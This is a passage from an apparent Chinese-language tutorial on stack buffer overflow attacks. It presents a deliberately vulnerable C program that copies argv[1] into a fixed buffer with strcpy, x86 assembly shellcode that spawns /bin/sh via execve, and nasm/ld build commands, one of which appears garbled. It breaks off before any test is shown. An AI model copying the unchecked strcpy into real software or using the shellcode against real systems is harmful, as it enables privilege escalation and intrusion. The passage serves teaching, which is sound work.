以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。
为了测试简单,写一个比较简单的程序,我们称之为bug.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buff[500];
strcpy(buff,argv[1]);
return 0;
}
这段代码比较简单,就是为了用来测试栈溢出的,很显然,它是有漏洞的。
好了,我们准备好进入root shell的汇编代码:
Section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f ; /sh 小端机存储
push 0x6e69622f ; /bin 小端存储
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb ; execve函数
int 0x80
我们用nasm编译:
nasm -f elf execve.asm
用ld链接:
ld execve -o execve.o
我们测试一下结果: